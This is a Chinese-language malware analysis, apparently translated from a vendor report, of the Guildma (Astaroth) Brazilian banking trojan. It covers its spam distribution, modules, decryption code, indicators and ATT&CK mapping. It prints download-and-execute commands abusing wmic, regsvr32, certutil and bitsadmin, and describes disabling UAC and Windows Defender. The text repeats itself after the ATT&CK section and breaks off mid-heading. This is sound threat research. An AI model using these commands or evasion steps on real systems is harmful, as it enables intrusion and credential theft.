一、概述

在本文中,我们将主要分析Guildma(也称为Astaroth)——一个非常流行的拉丁美洲银行木马。该木马是使用Delphi编写,主要针对巴西为目标,其中使用了一些具有创新性的执行和攻击技术。我们在本文中将分析该木马的最新版本,重点说明自2019年年中Guildma相关的恶意活动与该木马的显著变化。

二、特点

Guildma是专门针对巴西的拉丁美洲银行木马。根据我们的遥测技术,结合该木马所受到的广泛关注,我们认为它是该地区最具影响力和最为先进的银行木马。除了针对金融机构之外,Guildma还尝试窃取电子邮件帐户、电子商店和流媒体服务的凭据,这一点与其他拉丁美洲银行木马一样,但Guildma的受害者人数至少是其他银行木马的十倍。该木马使用了创新性的执行方法和复杂的攻击技术。

与我们先前描述的拉丁美洲银行木马不同,Guildma不会在二进制文件中存储其使用的虚假弹出窗口。相反,攻击是由其C&C服务器精心策划的。这为木马作者提供了更大的灵活性,可以针对目标银行实施的对策做出反应。

Guildma实现了以下后门功能:

1. 截图;

2. 捕获键盘输入;

3. 模拟鼠标和键盘;

4. 阻止快捷方式(例如禁用Alt+F4,导致用户更难以关闭显示的虚假窗口);

5. 下载并执行文件;

6. 重启计算机。

Guildma是高度模块化的木马。在撰写本文时,该木马由10个模块组成,其中不包含分销链阶段。各个模块的具体功能将在后面详细讨论。

三、分销链的演变

我们的遥测表明,Guildma仅通过带有恶意附件的垃圾邮件进行传播。下面是自2019年11月中旬开始的恶意活动中的样本。

垃圾邮件示例(翻译:“你好,请向我解释这些照片。我正在等待你的解释!”)

1.png

垃圾邮件示例(翻译:“尊敬的consórcio用户,附件是编号75432的出价证明。”)

2.png

垃圾邮件示例(翻译:“早上好,我发送的是转账证明 – 花旗银行文档”)

3.png

垃圾邮件示例(虚假收据提醒,指出需要在后天进行付款,并且付款最多可能需要72小时才能处理)

4.png

Guildma分销链的主要特点之一,就是使用系统上已经存在的工具,并且通常会采用新的方式或不同寻常的方式。

另外一个特点是复用技术。该木马会每隔一段时间就添加一个新技术,但是在大多数情况下,开发人员似乎只是在重用旧版本中的技术。

150版本中的Guildma分销链:

5.png

上图展示了150版本中的分销链,但实际上Guildma的分销链结构非常动态化。例如,在以前的版本中,上图所展示的恶意LNK文件未嵌入到ZIP压缩包中,或者使用了包含MSI安装程序的SFX RAR压缩包。另外,也曾经有另外一个Jscript阶段,其唯一目的是下载并执行最终的Jscript阶段。整体上,有一些更改的位置没有在本文中体现。实际上,唯一保持不变的部分是最后的Jscript阶段。

根据我们对该家族的长期深入数据跟踪,我们对Guildma的恶意活动进行了有效的描绘。

下图展示了Guildma第一阶段组件的所有ESET检测结果。如我们所见,这些恶意活动持续缓慢开展,直到2019年8月开展了大规模的恶意活动,在高峰时期,我们每天可以监测到多达50000个样本。这一次恶意活动持续了将近两个月,其恶意样本数量是我们在前10个月所检测到样本数量的两倍多。

自2018年10月以来第一阶段的Guildma检测情况:

6.png

接下来,我们针对过去14个月中,木马所使用的一些值得关注的技术展开详细分析。

3.1 Jscript阶段的执行

去年,Guildma使用了几种方法来执行其分销链的Jscript阶段。在2018年底,Guildma将其代码隐藏在可扩展样式表语言(.xsl)文件中,并使用wmic.exe下载并执行:

wmic.exe  /format:””

随后,它转到使用regsvr32.exe和scrobj.dll,下载Jscript实现的COM对象,并执行其注册例程(其中包含恶意代码):

regsvr32.exe /s /n /u /i: scrobj.dll

近期,木马作者开始滥用Windows资源管理器执行Jscript阶段。由于Windows资源管理器将尝试打开在命令行中与其关联程序一同传递的任何文件,并且.js文件的默认关联是Microsoft Windows Script Host,因此可以实现此攻击。传递给Windows资源管理器的“脚本”是一个命令,其目的是下载并执行实际的Jscript阶段:

echo GetObject(‘script:’) > .js | explorer.exe  .js

3.2 二进制模块的执行

PE模块的执行方法也是多种多样。

在我们开始追踪Guildma时,它滥用了Avast的aswRunDll.exe来启动第一个二进制阶段,regsvr32.exe则是未安装Avast产品的计算机中的故障转移。随后,将不再使用aswRunDll.exe,将regsvr32.exe作为唯一的执行方法。在短暂使用了rundll32.exe之后,Guildma切换到其当前的执行方法——ExtExport.exe。

ExtExport.exe是Microsoft Internet Explorer的未记录组件,用于从Mozilla Firefox和360安全浏览器中导出书签,并且可能会被DLL侧加载滥用。执行以下命令时,将会从命令行中指定的文件夹加载mozcrt19.dll、mozsqlite3.dll和sqlite3.dll:

C:\Program Files\Internet Explorer\ExtExport.exe

如果要滥用这个功能,只需要将投放的DLL作为上述文件之一即可,而Guildma使用全部这三个文件。

3.3 下载二进制模块

Guildma还使用了几种不同的方式来下载二进制模块。第一个版本将certutil.exe复制到certis.exe,其目的是为了逃避检测:

certis.exe -urlcache -split -f “< URL >” “< destination path >”

随后,作者切换到了BITSAdmin(Microsoft后台智能传输服务管理工具),在撰写本文时仍在使用这种方式:

bitsadmin.exe /transfer < random number > /priority foreground < URL > < destination >

在过去的几个月中,二进制模块被进行Base64编码后托管在Google Cloud上。在此期间,Guildma同时使用BITSAdmin和certutil – BITSAdmin的方式来下载模块,并使用certutil对其进行编码。

3.4 其他变化

Guildma使用奇怪的、非描述性的变量和函数名称。当我们开始追踪Guildma时,这些名称尽管毫无意义,但明显是人为设定的(例如:“radador”代表随机数函数,“Bxaki”代表下载函数)。在2019年6月,这些函数全部更改为看上去随机的名称(例如:“bx021”和“mrc430”)。最初,我们认为作者使用了某种自动脚本混淆器,但事实证明这是一次人工的修改,并且自从此次修改后,名称始终保持不变。

相对较新的一个功能是使用ADS(备用数据流)存储二进制模块,这是一种早期的技术。现在,所有模块都存储为单个文件的ADS(例如:“desktop.ini:nauwuygiaa.jpg”、“ desktop.ini:nauwuygiab.jpg”等)。

四、版本历史

Guildma在开发过程中似乎使用过许多版本,但是在不同的版本之间似乎很少会进行开发。考虑到该木马的体系结构中使用了硬编码的配置值,因此在大多数情况下,作者必须为每个新的恶意活动都重新编译所有二进制文件。显然,这项工作目前还无法自动化实现,因为在脚本和二进制文件的相邻版本发布之间存在较长的时间间隔。

在本文中,我们主要对150版本进行分析,但是自从我们开始撰写本文以来,已经发布了额外的两个版本。这两个版本在功能方面并没有实质性的改变,从而辅助证明了我们对Guildma开发周期的观点。

分销链的最后阶段曾经包含过一个版本名称,甚至在此之前,在下载的恶意文件和二进制模块中还包含这个名称。但是自从148版本以来,这一位置已经被替换为一个简单的“xXx”。

下表总结了自2018年10月开始,我们追踪Guildma以来发布过的所有版本。通过查看版本字符串,我们可以感觉到作者对于生态环境和汽车方面非常关注。

Guildma历史版本:

image.png

五、模块分析

如前所述,Guildma木马高度模块化。其模块的结构似乎基本保持不变。接下来,我们将简要描述每个模块的功能。

所有的模块名称都由一个相同的、与版本号相关的前缀和一个模块特定的后缀组成。在下表中,版本相关的前缀为andrealfo。

Guildma模块概述:image.png

除了主模块加载工具 1(*64.~)和主模块注入工具(*xa.gif、*xb.gif和*xc.gif)之外,所有模块都使用重复的32字节密钥进行简单的XOR。密钥是使用下图所示的算法由32位种子生成的。种子值在二进制文件中被混淆,以防止被研究人员轻松提取。

密钥生成算法:

key = bytearray ();
for i in range ( 32 ):
       key . append ( seed & 0xff );
       seed >>= 1;

有三个模块会与C&C服务器进行通信,分别是主模块、RAT模块以及联系人窃取工具和表单获取模块。在使用Base64和各种简单的自动加密算法对其进行加密后,通过HTTP(S)的方式进行传输,以保护传输的数据。

在下一节中,我们将描述如何获取C&C服务器地址。

5.1 主模块加载工具(*64.~)

这是其中的第一个二进制阶段。该文件是一个DLL,分为两个部分,由之前的Jscript阶段连接在一起。它加载构成下一个阶段加载工具的三个文件(*xa.gif、*xb.gif和*xc.gif),将其连接在一起,将生成的PE文件映射到其自己的地址空间并执行。

加载PE文件是一个相对复杂的过程,为此作者使用了BTMemoryModule开源库。

5.2 主模块注入工具(*xa.gif + *xb.gif + *xc.gif)

该模块从磁盘加载下一个阶段(*gx.gif)并将其解密。然后,它将运行以下列表中的第一个现有可执行文件,并将解密后的Payload注入到其中。

C:\Program Files\AVAST Software\Avast\aswRunDll.exe
C:\Program Files\Diebold\Warsaw\unins000.exe *
C:\Windows\SysWOW64\userinit.exe
C:\Windows\System32\userinit.exe

其中,*表示的是一个在巴西流行的应用程序,用于保护对网上银行的访问。

5.3 主模块加载工具2(*gx.gif)

最后一个加载工具阶段非常简单,似乎不必要地复制了主模块加载工具1的功能。它加载并解密主模块(* g.gif),并将其映射到自身的内存空间中并执行。

5.4 主模块(*g.gif)

Guildma的主模块编排了其他所有模块。其中,使用到了很多计时器和事件,这一实现过程看似复杂,但其功能实际上相对简单。它包含了不再使用的遗留代码,以及尚未使用的代码。

加载时,该模块会检查它是否在沙箱环境中运行(例如:通过检查计算机名称和系统磁盘卷ID),是否还有其他自身的运行实例(基于窗口名称)以及系统语言环境是否不属于葡萄牙语。如果上述任何一项检查没有通过,恶意软件都将会停止。

否则,该模块将会从系统收集信息(计算机名称、正在使用的安全软件、已安装的程序等),并与C&C服务器建立通信。然后,它开始监视特定的事件,主要是某些应用程序启动的事件,或在线银行网站打开的事件,并执行适当的操作,例如:截图、阻止键盘快捷键以防止用户关闭窗口、启动RAT模块等。

该模块中还实现了后门命令,其功能在很大程度上与RAT模块重合。

5.5 联系人窃取工具和表单获取模块(*c.jpg)

该模块具有两个函数,分别负责从网页收集电子邮件地址和表单数据。

通过解析电子邮件客户端的通讯录和电子邮件,可以获取到电子邮件地址。

表单获取模块使用Windows COM技术和Internet Explorer进行交互。它一直等待到打开目标站点(主要是巴西的邮件、电子商城和支付网关),然后将用户登录状态注销,迫使受害者输入凭据。随后,它检索DOM并查找关键的输入字段值(例如:用户名、密码和信用卡号)。

5.6 RAT模块(*dwwn.gif + *dx.gif)

RAT模块具有两个功能相同的编译文件,分别是DLL类型(*dwwn.gif)和EXE类型(*.dx.gif)。

它实现了下载和执行功能,可以获取屏幕截图、模拟键盘和鼠标输入以及重新启动计算机。

大多数拉丁美洲的银行木马都基于监视活动窗口的名称而显示伪装的弹出窗口。这些窗口通常存储在二进制文件中。我们在Guildma中没有找到这样的代码,但是RAT模块包含一个实现简单Web浏览器的Delphi表单。由于它也是根据活动窗口的名称执行的,因此我们认为这个表单也用于向用户显示虚假对话框。

5.7 MailPassView(*a.jpg)和BrowserPassView(*b.jpg)

这些都是Nirsoft的免费工具,用于从流行的电子邮件客户端和Web浏览器中提取保存的凭据。由于Nirsoft已经从较新的版本中删除了对静默操作(输出到文件,没有GUI)的支持,以抑制恶意软件对这些工具的滥用,因此Guildma的作者使用包含这些功能的旧版本。Mispadu也使用了相同的工具,但Mispadu使用的是较新版本,并且通过重新修补的方式支持静默操作。

5.8 Jscript投放模块(*i.gif)

该模块使用cscript.exe投放并执行Jscript文件。该脚本由两部分组成,第一部分存储为一个较长的加密字符串,而第二部分由许多短字符串(部分是加密字符串,部分是纯文本格式)组合而成。值得一提的是,投放的Jscript文件中的字符串已经被该投放模块使用随机生成的密钥加密,因此它们是以明文形式存储在投放模块中。

该脚本执行以下操作:

禁用UAC;

禁用EXE签名检查;

禁用Windows Defender;

创建防火墙规则,禁止对C:\Program Files\AVAST Software\Avast\Setup\avast.setup的网络访问;

禁用wsddntf驱动程序(Diebold Warsaw GAS Tecnologia是早期的网银防护软件);

为作为注入目标的文件添加防火墙例外:C:\Program Files\Diebold\Warsaw\unins000.exe和C:\Program Files\AVAST Software\Avast\aswRunDll.exe。

我们认为,该模块很可能仍然在开发中,因为我们在测试过程中没有观察到恶意软件会投放该脚本。

六、新版本的发展

6.1 新C&C检索

在版本142中,实施了一种分销C&C服务器的新方法,即滥用YouTube和Facebook个人资料。但是,作者几乎是马上就停止使用Facebook了,在撰写本文时,攻击者完全依赖于YouTube。这与Casbaneiro有些相似,但有些粗糙。实际上,Casbaneiro会将数据隐藏在视频描述中,并将其混淆为URL的一部分,而Guildma只是将数据放置在频道描述中。加密的C&C地址的开始和结束都使用“|||”作为分隔。中间的数据使用Mispadu的字符串加密算法进行Base64编码和加密。现在,这是检索C&C服务器的主要方法。而老方法仍然作为备用。

YouTube上存储的加密Guildma C&C服务器域名:

9.png

6.2 添加和删除模块

先前描述的Jscript投放工具模块是在145版本中添加的。相反,在139版本中,Guildma删除了旧版本中存在的其他两个模块——mass mailer(*f.jpg)及其加载工具(*e.jpg)。在接下来的几个版本中,这些模块仍然可以通过与其他模块相同格式的名称(

6.3 新的字符串加密

Jscript投放模块使用了新的字符串加密算法。这个算法的一种变体已经在147版本的其他模块中使用。

def decrypt ( ct, key ):
       # stage 1
       ct = unhexlify ( ct );
       last = ct [ 0 ];
       s = bytearray ( ct [ 1 : ] );
       for i in range ( len ( s ) ):
              x = s [ i ] ^ key [ i % len ( key ) ];
              if last > x:
                     x += 0xff;
              x -= last;
              last = s [ i ];
              s [ i ] = x;
 
       # stage 2 - reverse string
       s = s [::-1];
 
       # stage 3 - c = not ( c - 10 )
       s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] );
 
       # stage 4 - Base25 decode and key subtraction
       k = ord ( s [ 0 ] ) - 65;
       ot = "";
       for i in range ( 1, len ( s ), 2 ):
              ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );
 
       return ot;

最初,Guildma使用与Casbaneiro相同的字符串加密。新算法分为四个阶段,原始的字符串加密算法仍然作为第一阶段。同样值得关注的是,第四阶段再次使用了Mispadu加密算法。

在148版本中,Guildma实现了字符串列表。所有字符串都在执行开始时被解密,并且根据需要从表格中查看。

6.4 移除国际目标

在138版本中,Guildma添加了针对巴西境外银行等机构的功能。尽管如此,我们还是没有观察到国际化的活动。在Cloudflare Workers的基础结构上托管文件的恶意活动,甚至可以阻止非巴西IP地址的任何下载。实际上,在过去的14个月中,我们还没有看到针对巴西境外用户的恶意活动。

最后,在145版本中,删除了针对巴西境外机构的功能。基于上述事实,我们认为这只是一个开发中的功能,最终被废弃了。

七、总结

在本文中,我们深入分析了一个最为流行的拉丁美洲银行木马Guildma,我们展现了该恶意软件丰富的发展历史,并重点关注最新的变种。

Guildma符合拉丁美洲银行木马的普遍特征。它使用Delphi编写,针对该地区,实现后门功能,并将其功能拆分成诸多模块,同时还滥用了合法的工具。

Guildma还与前面介绍的其他恶意软件家族具有很多共同的特征,其使用的加密算法结合了Casbaneiro和Mispadu所使用的算法。

八、威胁指标

8.1 SHA-1哈希值

45c58bc40768dce6a6c611e08fd34c62441aa77(主模块加载工具1,Win32/Spy.Guildma.BM)

861f20b0dcc55f94b4c43e4a7e77f042c21506cf(主模块注入工具,Win32/Spy.Guildma.BJ)

37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1(主模块加载工具2,Win32/Spy.Guildma.Q)

a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d(主模块,Win32/Spy.Guildma.BS)

4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc(联系人窃取工具和表单获取模块,Win32/Spy.Guildma.D)

6c9304c5862d4e0de1c86d7ae3764f5e8358daff(RAT模块-DLL,Win32/Spy.Guildma.BR)

89fbffe456de850f7abf4f97d3b9da4bad6afb57(RAT模块-EXE,Win32/Spy.Guildma.BR)

af0d495ecc3622b14a40ddcd8005873c5ddc3a2d(MailPassView,Win32/PSWTool.MailPassView.E)

92bcf54079cbba04f584eac4486473c3abdd88cd(WebBrowserPassView,Win32/PSWTool.WebBrowserPassView.E)

a2048f435f076988bf094274192a196216d75a5f(JScript投放工具模块,Win32/Spy.Guildma.BP)

8.2 文件名

C:\Users\Public\Libraries\qlanl\*

8.3 启动链接

位置:

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

目标:

C:\Program Files (x86)\Internet Explorer\ExtExport.exe

C:\Program Files\Internet Explorer\ExtExport.exe

参数:

< install dir > < rand > < rand >

(其中的< rand >是由字母qwertyuiop1lgfdsas2dfghj3zcvbm生成的5到9个字符的随机字符串)

8.4 C&C服务器

https://www.zvatrswtsrw[.]ml

https://xskcjzamlkxwo[.]gq

https://www.vhguyeu[.]ml

https://www.carnataldez[.]ml

https://www.movbmog[.]ga

https://iuiuytrytrewrqw[.]gq

https://www.gucinowertr[.]tk

https://equilibrios[.]ga

https://www.clooinfor[.]cf

https://ambirsr[.]tk

https://dbuhcbudyu[.]tk

https://nvfjvtntt[.]cf

http://whia7g.acquafufheirybveru[.]online

九、MITRE ATT&CK技术

9.1 初始访问

鱼叉式附件(T1193):Guildma分销链是从恶意电子邮件附件开始。

9.2 执行

1、Rundll32(T1073):Guildma利用rundll32.exe执行其二进制模块。

2、Windows管理规范(WMI,T1047):Guildma滥用WMIC.exe来执行其某些分销链阶段。

9.3 持久性

注册表运行键/启动文件夹(T1060):Guildma通过在%STARTUP%文件夹中创建LNK文件来确保持久性。

9.4 防御逃避

1、BITS任务(T1197):BITSAdmin.exe用于下载二进制模块。

2、禁用安全工具(T1089):Guildma禁用Windows Defender。

3、反混淆/编码文件或信息(T1140):下载后,大多数Guildma模块都需要解密。

4、DLL侧加载(T1073):Guildma滥用ExtExport.exe进行DLL侧加载。

5、NTFS文件属性(T1096):Guildma利用ADS将其模块隐藏在磁盘上。

6、进程注入(T1055):Guildma在执行其模块时,利用进程注入的方法。

7、使用脚本(T1064):Guildma使用各种脚本语言(主要是Jscript)实现其分销链阶段。

8、XSL脚本处理(T1220):Guildma在其分销链中使用XSL脚本。

9.5 凭据访问

1、文件中的凭据(T1081):Guildma提取Web浏览器和电子邮件客户端在文件中存储的凭据。

2、注册表中的凭据(T1214):Guildma提取Web浏览器和电子邮件客户端在Windows注册表中存储的凭据。

9.6 发现

1、文件和目录发现(T1083):Guildma根据某些文件是否存在来确定是否安装了银行软件和安全工具。

2、应用程序窗口发现(T1010):Guildma使用窗口发现来查找并终止其较早版本,并检测和试运行了特定的程序(例如:银行应用程序或Web浏览器)。

3、安全软件发现(T1063):Guildma检测几种特定安全产品是否存在。

4、系统信息发现(T1082):Guildma收集操作系统版本的体系架构、计算机名称和系统区域设置。

5、虚拟化/沙箱逃避:Guildma根据目录名称、计算机名称、卷ID和命名对象是否存在来判断是否存在沙箱和虚拟化环境。

9.7 收集

屏幕截图(T1113):Guildma可以截取屏幕快照。

9.8 命令和控制

自定义加密协议(T1024):使用自定义加密算法对新的C&C地址进行加密。

9.9 渗出

通过命令和控制通道渗出(T1041):Guildma将屏幕截图和日志文件上传到C&C服务器。

一、概述

在本文中,我们将主要分析Guildma(也称为Astaroth)——一个非常流行的拉丁美洲银行木马。该木马是使用Delphi编写,主要针对巴西为目标,其中使用了一些具有创新性的执行和攻击技术。我们在本文中将分析该木马的最新版本,重点说明自2019年年中Guildma相关的恶意活动与该木马的显著变化。

二、特点

Guildma是专门针对巴西的拉丁美洲银行木马。根据我们的遥测技术,结合该木马所受到的广泛关注,我们认为它是该地区最具影响力和最为先进的银行木马。除了针对金融机构之外,Guildma还尝试窃取电子邮件帐户、电子商店和流媒体服务的凭据,这一点与其他拉丁美洲银行木马一样,但Guildma的受害者人数至少是其他银行木马的十倍。该木马使用了创新性的执行方法和复杂的攻击技术。

与我们先前描述的拉丁美洲银行木马不同,Guildma不会在二进制文件中存储其使用的虚假弹出窗口。相反,攻击是由其C&C服务器精心策划的。这为木马作者提供了更大的灵活性,可以针对目标银行实施的对策做出反应。

Guildma实现了以下后门功能:

1. 截图;

2. 捕获键盘输入;

3. 模拟鼠标和键盘;

4. 阻止快捷方式(例如禁用Alt+F4,导致用户更难以关闭显示的虚假窗口);

5. 下载并执行文件;

6. 重启计算机。

Guildma是高度模块化的木马。在撰写本文时,该木马由10个模块组成,其中不包含分销链阶段。各个模块的具体功能将在后面详细讨论。

三、分销链的演变

我们的遥测表明,Guildma仅通过带有恶意附件的垃圾邮件进行传播。下面是自2019年11月中旬开始的恶意活动中的样本。

垃圾邮件示例(翻译:“你好,请向我解释这些照片。我正在等待你的解释!”)

1.png

垃圾邮件示例(翻译:“尊敬的consórcio用户,附件是编号75432的出价证明。”)

2.png

垃圾邮件示例(翻译:“早上好,我发送的是转账证明 – 花旗银行文档”)

3.png

垃圾邮件示例(虚假收据提醒,指出需要在后天进行付款,并且付款最多可能需要72小时才能处理)

4.png

Guildma分销链的主要特点之一,就是使用系统上已经存在的工具,并且通常会采用新的方式或不同寻常的方式。

另外一个特点是复用技术。该木马会每隔一段时间就添加一个新技术,但是在大多数情况下,开发人员似乎只是在重用旧版本中的技术。

150版本中的Guildma分销链:

5.png

上图展示了150版本中的分销链,但实际上Guildma的分销链结构非常动态化。例如,在以前的版本中,上图所展示的恶意LNK文件未嵌入到ZIP压缩包中,或者使用了包含MSI安装程序的SFX RAR压缩包。另外,也曾经有另外一个Jscript阶段,其唯一目的是下载并执行最终的Jscript阶段。整体上,有一些更改的位置没有在本文中体现。实际上,唯一保持不变的部分是最后的Jscript阶段。

根据我们对该家族的长期深入数据跟踪,我们对Guildma的恶意活动进行了有效的描绘。

下图展示了Guildma第一阶段组件的所有ESET检测结果。如我们所见,这些恶意活动持续缓慢开展,直到2019年8月开展了大规模的恶意活动,在高峰时期,我们每天可以监测到多达50000个样本。这一次恶意活动持续了将近两个月,其恶意样本数量是我们在前10个月所检测到样本数量的两倍多。

自2018年10月以来第一阶段的Guildma检测情况:

6.png

接下来,我们针对过去14个月中,木马所使用的一些值得关注的技术展开详细分析。

3.1 Jscript阶段的执行

去年,Guildma使用了几种方法来执行其分销链的Jscript阶段。在2018年底,Guildma将其代码隐藏在可扩展样式表语言(.xsl)文件中,并使用wmic.exe下载并执行:

wmic.exe  /format:””

随后,它转到使用regsvr32.exe和scrobj.dll,下载Jscript实现的COM对象,并执行其注册例程(其中包含恶意代码):

regsvr32.exe /s /n /u /i: scrobj.dll

近期,木马作者开始滥用Windows资源管理器执行Jscript阶段。由于Windows资源管理器将尝试打开在命令行中与其关联程序一同传递的任何文件,并且.js文件的默认关联是Microsoft Windows Script Host,因此可以实现此攻击。传递给Windows资源管理器的“脚本”是一个命令,其目的是下载并执行实际的Jscript阶段:

echo GetObject(‘script:’) > .js | explorer.exe  .js

3.2 二进制模块的执行

PE模块的执行方法也是多种多样。

在我们开始追踪Guildma时,它滥用了Avast的aswRunDll.exe来启动第一个二进制阶段,regsvr32.exe则是未安装Avast产品的计算机中的故障转移。随后,将不再使用aswRunDll.exe,将regsvr32.exe作为唯一的执行方法。在短暂使用了rundll32.exe之后,Guildma切换到其当前的执行方法——ExtExport.exe。

ExtExport.exe是Microsoft Internet Explorer的未记录组件,用于从Mozilla Firefox和360安全浏览器中导出书签,并且可能会被DLL侧加载滥用。执行以下命令时,将会从命令行中指定的文件夹加载mozcrt19.dll、mozsqlite3.dll和sqlite3.dll:

C:\Program Files\Internet Explorer\ExtExport.exe

如果要滥用这个功能,只需要将投放的DLL作为上述文件之一即可,而Guildma使用全部这三个文件。

3.3 下载二进制模块

Guildma还使用了几种不同的方式来下载二进制模块。第一个版本将certutil.exe复制到certis.exe,其目的是为了逃避检测:

certis.exe -urlcache -split -f “< URL >” “< destination path >”

随后,作者切换到了BITSAdmin(Microsoft后台智能传输服务管理工具),在撰写本文时仍在使用这种方式:

bitsadmin.exe /transfer < random number > /priority foreground < URL > < destination >

在过去的几个月中,二进制模块被进行Base64编码后托管在Google Cloud上。在此期间,Guildma同时使用BITSAdmin和certutil – BITSAdmin的方式来下载模块,并使用certutil对其进行编码。

3.4 其他变化

Guildma使用奇怪的、非描述性的变量和函数名称。当我们开始追踪Guildma时,这些名称尽管毫无意义,但明显是人为设定的(例如:“radador”代表随机数函数,“Bxaki”代表下载函数)。在2019年6月,这些函数全部更改为看上去随机的名称(例如:“bx021”和“mrc430”)。最初,我们认为作者使用了某种自动脚本混淆器,但事实证明这是一次人工的修改,并且自从此次修改后,名称始终保持不变。

相对较新的一个功能是使用ADS(备用数据流)存储二进制模块,这是一种早期的技术。现在,所有模块都存储为单个文件的ADS(例如:“desktop.ini:nauwuygiaa.jpg”、“ desktop.ini:nauwuygiab.jpg”等)。

四、版本历史

Guildma在开发过程中似乎使用过许多版本,但是在不同的版本之间似乎很少会进行开发。考虑到该木马的体系结构中使用了硬编码的配置值,因此在大多数情况下,作者必须为每个新的恶意活动都重新编译所有二进制文件。显然,这项工作目前还无法自动化实现,因为在脚本和二进制文件的相邻版本发布之间存在较长的时间间隔。

在本文中,我们主要对150版本进行分析,但是自从我们开始撰写本文以来,已经发布了额外的两个版本。这两个版本在功能方面并没有实质性的改变,从而辅助证明了我们对Guildma开发周期的观点。

分销链的最后阶段曾经包含过一个版本名称,甚至在此之前,在下载的恶意文件和二进制模块中还包含这个名称。但是自从148版本以来,这一位置已经被替换为一个简单的“xXx”。

下表总结了自2018年10月开始,我们追踪Guildma以来发布过的所有版本。通过查看版本字符串,我们可以感觉到作者对于生态环境和汽车方面非常关注。

Guildma历史版本:

image.png

五、模块分析

如前所述,Guildma木马高度模块化。其模块的结构似乎基本保持不变。接下来,我们将简要描述每个模块的功能。

所有的模块名称都由一个相同的、与版本号相关的前缀和一个模块特定的后缀组成。在下表中,版本相关的前缀为andrealfo。

Guildma模块概述:image.png

除了主模块加载工具 1(*64.~)和主模块注入工具(*xa.gif、*xb.gif和*xc.gif)之外,所有模块都使用重复的32字节密钥进行简单的XOR。密钥是使用下图所示的算法由32位种子生成的。种子值在二进制文件中被混淆,以防止被研究人员轻松提取。

密钥生成算法:

key = bytearray ();
for i in range ( 32 ):
       key . append ( seed & 0xff );
       seed >>= 1;

有三个模块会与C&C服务器进行通信,分别是主模块、RAT模块以及联系人窃取工具和表单获取模块。在使用Base64和各种简单的自动加密算法对其进行加密后,通过HTTP(S)的方式进行传输,以保护传输的数据。

在下一节中,我们将描述如何获取C&C服务器地址。

5.1 主模块加载工具(*64.~)

这是其中的第一个二进制阶段。该文件是一个DLL,分为两个部分,由之前的Jscript阶段连接在一起。它加载构成下一个阶段加载工具的三个文件(*xa.gif、*xb.gif和*xc.gif),将其连接在一起,将生成的PE文件映射到其自己的地址空间并执行。

加载PE文件是一个相对复杂的过程,为此作者使用了BTMemoryModule开源库。

5.2 主模块注入工具(*xa.gif + *xb.gif + *xc.gif)

该模块从磁盘加载下一个阶段(*gx.gif)并将其解密。然后,它将运行以下列表中的第一个现有可执行文件,并将解密后的Payload注入到其中。

C:\Program Files\AVAST Software\Avast\aswRunDll.exe
C:\Program Files\Diebold\Warsaw\unins000.exe *
C:\Windows\SysWOW64\userinit.exe
C:\Windows\System32\userinit.exe

其中,*表示的是一个在巴西流行的应用程序,用于保护对网上银行的访问。

5.3 主模块加载工具2(*gx.gif)

最后一个加载工具阶段非常简单,似乎不必要地复制了主模块加载工具1的功能。它加载并解密主模块(* g.gif),并将其映射到自身的内存空间中并执行。

5.4 主模块(*g.gif)

Guildma的主模块编排了其他所有模块。其中,使用到了很多计时器和事件,这一实现过程看似复杂,但其功能实际上相对简单。它包含了不再使用的遗留代码,以及尚未使用的代码。

加载时,该模块会检查它是否在沙箱环境中运行(例如:通过检查计算机名称和系统磁盘卷ID),是否还有其他自身的运行实例(基于窗口名称)以及系统语言环境是否不属于葡萄牙语。如果上述任何一项检查没有通过,恶意软件都将会停止。

否则,该模块将会从系统收集信息(计算机名称、正在使用的安全软件、已安装的程序等),并与C&C服务器建立通信。然后,它开始监视特定的事件,主要是某些应用程序启动的事件,或在线银行网站打开的事件,并执行适当的操作,例如:截图、阻止键盘快捷键以防止用户关闭窗口、启动RAT模块等。

该模块中还实现了后门命令,其功能在很大程度上与RAT模块重合。

5.5 联系人窃取工具和表单获取模块(*c.jpg)

该模块具有两个函数,分别负责从网页收集电子邮件地址和表单数据。

通过解析电子邮件客户端的通讯录和电子邮件,可以获取到电子邮件地址。

表单获取模块使用Windows COM技术和Internet Explorer进行交互。它一直等待到打开目标站点(主要是巴西的邮件、电子商城和支付网关),然后将用户登录状态注销,迫使受害者输入凭据。随后,它检索DOM并查找关键的输入字段值(例如:用户名、密码和信用卡号)。

5.6 RAT模块(*dwwn.gif + *dx.gif)

RAT模块具有两个功能相同的编译文件,分别是DLL类型(*dwwn.gif)和EXE类型(*.dx.gif)。

它实现了下载和执行功能,可以获取屏幕截图、模拟键盘和鼠标输入以及重新启动计算机。

大多数拉丁美洲的银行木马都基于监视活动窗口的名称而显示伪装的弹出窗口。这些窗口通常存储在二进制文件中。我们在Guildma中没有找到这样的代码,但是RAT模块包含一个实现简单Web浏览器的Delphi表单。由于它也是根据活动窗口的名称执行的,因此我们认为这个表单也用于向用户显示虚假对话框。

5.7 MailPassView(*a.jpg)和BrowserPassView(*b.jpg)

这些都是Nirsoft的免费工具,用于从流行的电子邮件客户端和Web浏览器中提取保存的凭据。由于Nirsoft已经从较新的版本中删除了对静默操作(输出到文件,没有GUI)的支持,以抑制恶意软件对这些工具的滥用,因此Guildma的作者使用包含这些功能的旧版本。Mispadu也使用了相同的工具,但Mispadu使用的是较新版本,并且通过重新修补的方式支持静默操作。

5.8 Jscript投放模块(*i.gif)

该模块使用cscript.exe投放并执行Jscript文件。该脚本由两部分组成,第一部分存储为一个较长的加密字符串,而第二部分由许多短字符串(部分是加密字符串,部分是纯文本格式)组合而成。值得一提的是,投放的Jscript文件中的字符串已经被该投放模块使用随机生成的密钥加密,因此它们是以明文形式存储在投放模块中。

该脚本执行以下操作:

禁用UAC;

禁用EXE签名检查;

禁用Windows Defender;

创建防火墙规则,禁止对C:\Program Files\AVAST Software\Avast\Setup\avast.setup的网络访问;

禁用wsddntf驱动程序(Diebold Warsaw GAS Tecnologia是早期的网银防护软件);

为作为注入目标的文件添加防火墙例外:C:\Program Files\Diebold\Warsaw\unins000.exe和C:\Program Files\AVAST Software\Avast\aswRunDll.exe。

我们认为,该模块很可能仍然在开发中,因为我们在测试过程中没有观察到恶意软件会投放该脚本。

六、新版本的发展

6.1 新C&C检索

